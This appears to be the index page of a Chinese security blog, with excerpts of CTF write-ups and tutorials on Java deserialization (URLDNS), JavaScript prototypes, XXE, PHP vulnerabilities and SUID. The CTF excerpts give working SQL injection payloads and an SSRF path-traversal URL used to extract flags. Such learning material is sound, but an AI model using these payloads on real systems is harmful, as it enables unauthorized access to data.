0%

easy_sql

报错注入,盲猜flag表,但不知道名称,用重复column名爆列名

参考:无列名注入小记

1
uname=%27)/**/||/**/(select/**/1/**/from/**/flag/**/where(select/**/*/**/from(select/**/*/**/from/**/flag/**/as a/**/join/**/flag/**/as/**/b/**/using(id,no))as/**/c))/**/or/**/('1&passwd=1&Submit=%E7%99%BB%E5%BD%95

image-20210518133713042

1
2
3
uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`,31)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

读出flag CISCN{9fO5F-WC2YL-GY3zM-R4aIu-kAjxU-}

Read more »

前言

大部分参照p1g3@D0g3师傅的文章,先入概念太重了,就当放个笔记吧

URLDNS

URLDNS 完全使用Java内置的类构造,无需第三方库支持。不能执行命令,通常用来验证目标是否存在反序列化漏洞。

  • 只依赖原生类
  • 不限制jdk版本

测试环境:jdk 11u8

利用链

1
2
3
4
5
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
Read more »

Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

url里只要包含 unctf.com 即可,开始想多了,弄到 gopher 协议了,然后发现 dictgopher 协议根本没开启,手慢错失三血

1
http://e035ba36-6bf8-44c8-9837-2afecc32ca08.node3.hackingfor.fun/?url=/unctf.com/../../../../flag
Read more »

一、原型链基础知识

关于原型链基础可以查看:继承与原型链

JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

JavaScript 是动态的,本身不提供一个 class 实现(ES6 引入了 class 关键字,但只是语法糖,JavaScript 任然是基于原型的)

prototype 和 __proto__

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

var foo = new Foo()

Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。

Read more »

一、第一天

上午

CTF 夺旗,考验基础渗透能力,有些简单的题目 sqlmap 可以直接出,主要是 Web 和 Misc 方向的题目,一个半小时20多道题目,时间有点紧。没有提供网线,WiFi 连接内网,切换热点查资料不是很方便。

Read more »

前言

本文主要针对 PHP 函数相关的漏洞的总结,可能会偏向 CTF 方面,内容肯定不全,有空的话会持续更新,欢迎各位表哥补充以及对文章错误之处进行斧正!

Read more »

1 XML 基础

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

1.1 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

Read more »

1 Java Web 目录结构

image-20200816173234356

目录 描述
/test1_war_exploded Web应用根目录,存储 jsp 或 html 文件
/test1_war_exploded/WEB-INF 存放配置文件,不能直接访问
/test1_war_exploded/WEB-INF/classes 存放编译后的 class 文件
/test1_war_exploded/WEB-INF/lib 存放所需 jar 文件,如 JDBC 驱动的 jar 文件

web.xml:servlet 、servlet mapping 以及其他配置

编译 servlet 命令:

1
javac  -sourcepath src -classpath D:\soft\server\apache-tomcat-9.0.37\lib\servlet-api.jar -d WEB-INF\classes src\mypack\DispatcherServlet.java
Read more »

1 Java 概述

2014 Java8

2017 Java9

Java11 LTS版

2 Java 程序设计环境

2.1 Java 术语

  • JDK: Java开发工具(包含JRE)

  • JRE: Java运行环境

  • Java SE (Standard Edition) 标准版本:用于桌面或者简单服务器应用的Java平台

  • Java EE (Enterprise Edition) 企业版本:用于复杂服务器应用的Java平台

  • Java ME (Micro Edition) 微型版本:用于小型设备的Java平台

  • NetBeans:Oracle公司的集成开发环境

Read more »

0x00 前言

面试时发现关于 SUID 并不是很清楚,所以学习记录下

0x01 关于 SUID

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

Read more »